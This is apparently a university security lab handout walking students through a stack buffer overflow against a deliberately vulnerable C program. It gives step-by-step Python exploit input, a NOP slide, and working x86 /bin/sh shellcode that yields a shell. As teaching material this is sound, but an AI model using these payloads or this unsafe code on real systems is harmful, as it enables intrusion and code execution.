COMP8050 – Security for Software Systems

Lab 3 – Shellcode Insertion

Firstly: Start the Linux VM on lab computers.

- Login as "studentid@mtu.ie"
- Alternatively, you can use your own laptops as long as you have some version of Linux on it. Free link for a Linux VM is available on Canvas.

We will use this C program, store it in a file called **shellcode.c** (as before, omit the line numbers):

```
1.   #include <stdlib.h>
2.   #include <unistd.h>
3.   #include <stdio.h>
4.   #include <string.h>
5.
6.   int main(int argc, char **argv)
7.   {
8.     char buffer[64];
9.
10.    gets(buffer);
11.  }
```

Once again, disable ASLR:

```
sudo sysctl -w kernel.randomize_va_space=0
```

Compile this program with the same command as last time:

```
gcc -g -O0 -mpreferred-stack-boundary=2    -m32      -fno-
stack-protector -z execstack  -D FORTIFY SOURCE=0
shellcode.c –o shellcode.o
```

If you changed machines from last time, you will need to install the following two packages to make gcc able to compile to 32bit on a 64bit machine before gcc will work for you:

```
sudo apt-get install libc6-dev-i386 gcc-multilib
```

We can see this is a very simple program. There is only a single gets() function call which gives us a warning when compiled (it's fine as long as there's no errors and only warnings), and this is obviously where we will be causing a buffer overflow. The intention this time, is to get a shell open by exploiting the buffer overflow potential.

We will use Python to generate the input for this program, to simplify things for ourselves (you could also use any other language installed on the VM if you prefer and know how…).

Note: You need to use Python2.7 for these scripts, so use "python2" in place of "python" commands if on the lab VMs. If working on your own machines, make sure the path for "python" is set to run Python version 2.7. If missing, it can be installed with: sudo apt-get install python2

- Write a python script, input.py, which will generate a string long enough to overwrite the return pointer on the stack. As before, we will format this string to be patterns of 4 characters, which will allow us to easily identify it on the stack.

```
osboxes@osboxes ~ $ cat input.py
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQR
RRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"

print padding
osboxes@osboxes ~ $
```

- Test that the program correctly outputs the string. And then write the output of your script to a file, inString.

```
osboxes@osboxes ~ $ python input.py
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT
UUUUVVVVWWWWXXXXYYYYZZZZ
osboxes@osboxes ~ $ python input.py > inString
osboxes@osboxes ~ $
```

- Open shellcode.o in GDB and place a break point at the RET instruction's address.
- Configure a hookstop again to display relevant information for yourself.
- Run shellcode.o in GDB, giving it inString as input (r < inString)
- Run and hit the breakpoint, then use the command "si" to move forward a single instruction from the breakpoint.
- It should crash because it attempts to access a memory address which is invalid. This is because we overwrote the return address with part of our string.
- Determine which part of the string overwrote it and then we want to replace that with an address on the stack where we want to redirect code to.

We want to place the shellcode we want to run on the stack right after where we overwrote the return address, so we just alter our input string to contain the code we want and we're good to go. However we need to know what address that part of the string is being stored

to, in order to direct the flow of code there. Thus we need to overwrite the return address on the stack with the address of the next part of our string.

- We can get the address on the stack by running the program again in GDB, hitting the break point on the RET instruction, and then using 'si' to execute the RET.
- At this point, then inspect the registers (info registers) and the address for 'esp' is the address we want to point to.
- In the python script, shorten the string to overflow us to just before the return address location, then overwrite the next 4 bytes with the address on the stack which we just found (that esp pointed to). We can use structs to convert from hex to a string representation to make things simpler as seen in the picture below (0xffd5540 being the address I found in the esp, it will be different for you!).
- Now we are redirecting the code to the address of the next part of our string. Here we will experiment with some code. Enter the string "\xCC\xCC\xCC\xCC".
- The script should look something like this (address may need to be different!!):

```
osboxes@osboxes ~ $ cat input.py
import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQ"

eip = struct.pack( "I", 0xffd5540 )
next = "\xCC"*4

print padding + eip + next
osboxes@osboxes ~ $
```

- "CC" is a special code causes a breakpoint (this is actually how GDB works too). If we run the program with this input we should find that it runs and causes a breakpoint, if we were successful. If you get an "illegal instruction" error in GDB, it means you did not redirect to the address of the "0xCCCCCCCC" codes, but instead to some other place on the stack.

```
(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
```

If we try to run the code outside of GDB you will find that it probably no longer hits the breakpoint from our \xCC instructions and instead gives you the Illegal Instruction error. The "CC" special code does function outside of GDB too (on Linux Mint, it may not on other distributions), but the issue is that we now have the wrong address on the stack. This is because things like environment variables go on the stack too, and GDB runs with slightly different values for environment variables which alters the position of the stack.

However, we want our code to run smoothly in all cases, so we will take advantage of a NOP Slide.

Recall:
A NOP instruction is the "No Operation" instruction. When the computer encounters a NOP, it will do nothing and move to the next instruction (sequential address). So the idea is to just stick in a ton of NOP instructions to our string, then we aim our address to land somewhere

inside of the NOPs. The flow of code will then go through all the memory addresses with NOPs until it reaches an instruction which is not a NOP. NOPs are code “90” so we add a lot of them to our input string (make sure you add a multiple of 4 for neatness) and also we offset our address we redirect to by some arbitrary amount to account for small fluctuations in the stack location due to environment variables.

After this, the script should look something like this:

```
osboxes@osboxes ~ $ cat input.py
import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQ"

eip = struct.pack( "I", 0xffffd110+30 )
next = "\x90"*100+"\xCC"*4

print padding + eip + next
osboxes@osboxes ~ $
```

Note the 2 changes: we have added 100 “\x90” NOP codes to “next”. And we have added an offset to the address for “eip”.

Running shellcode.o with this input should work whether you are in GDB, or running directly in shell/terminal in the VM! If not, try adding more NOPs (in a multiple of 4 to keep the “CC”s aligned) or altering the offset from the address until it functions both inside GDB and outside it!!

- You will likely have to experiment with different offsets, and different amounts of NOPs, try varying them both up and down til you find values that work!

- Make sure your input string will trigger the breakpoint whether it’s run in GDB or outside it, to prove the NOP Slide is working.

Okay now, instead of a breakpoint, we want our code to execute a shell! So we can check for shellcode from the experts at this site: http://shell-storm.org/shellcode/ has a collection of shellcode for a variety of architectures. We wish to get one for Linux on an intel 32-bit x86 architecture, since even though our VM is 64-bit, we compiled for 32bit using the –m32 command line option. Find one which uses execve to run /bin/sh or just use this shellcode for example:

```
\x31\xc9\x31\xdb\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f
\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b
\xcd\x80
```

You want to copy the shellcode string into your input script. It should now look something like this:

```
osboxes@osboxes ~ $ cat input.py
import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQ"

eip = struct.pack( "I", 0xffffd110+80 )
next = "\x90"*200

shellcode = "\x31\xc9\x31\xdb\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x6
8\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
print padding + eip + next + shellcode
osboxes@osboxes ~ $
```

Note that we removed the “\xCC” codes from “next”, and we append the shellcode to the end of our string in the “print” statement.

Try running it (outside GDB, after running the python script again) with:

```
./shellcode.o < inString
```

If you get an Illegal Instruction error, it likely means you made a typo when entering the shellcode. Double check to be sure everything is exactly correct.

If it doesn’t give you any errors, you will find that we do not get any shell prompt, the program just appears to exit cleanly. This is because when shellcode.o finishes executing, it also closes the opened shell instantly. To get around this, we can pipe multiple commands as input into the executable. We will take advantage of how the ‘cat’ commands work to use that as a second command which keeps the shell open and even echos our commands into it.

We see below the command to achieve this piping.

```
osboxes@osboxes ~ $ ( python input.py ; cat ) | ./shellcode.o
whoami
osboxes
pwd
/home/osboxes
```

It is a very visually basic shell, but we can see it does work since it accepts and runs commands such as “whoami” and “pwd”.

Make sure you have understood what happened in this entire process, ask if you are uncertain of why any step was taken!

Exercise:

Practice using shellcode for yourself. Look at the program given in Lab 2 (reproduced below for convenience):

```
1.      #include <stdio.h>
2.      #include <string.h>
3.
4.      void overflowtest()
5.      {
6.        printf("%s\n", "Execution Hijacked");
7.      }
8.
9.      void  func(char *str)
10.     {
11.       char buffer[5];
12.       strcpy (buffer,str);
13.     }
14.
15.     void main (int argc, char *argv[])
16.     {
17.       func(argv[1]);
18.
19.       printf("%s\n", "Executed Normally");
20.     }
```

Try to open a shell using shellcode in this program too! The approach is very similar. The major difference is that it takes input as a command-line argument instead of reading in user input while running. Thus instead of using "./overflow.o < inString" you can instead use the below command to give the contents of your file as a command line argument to it:

```
./overflow.o $(cat inString)
```

If you can manage to get it to reach the stage where you inserted and run your shellcode, but the shell is instantly closed because overflow.o finishes, you can consider it a success!

If you are not satisfied with it closing your shell instantly, you could try using shellcode which re-opens the inputs preventing this: e.g. https://stackoverflow.com/questions/2859127/shellcode-for-a-simple-stack-overflow-exploited-program-with-shell-terminates-d/43109534#43109534 (note, I have not tested this shellcode and cannot verify if it will work correctly or not, it was just the first google result).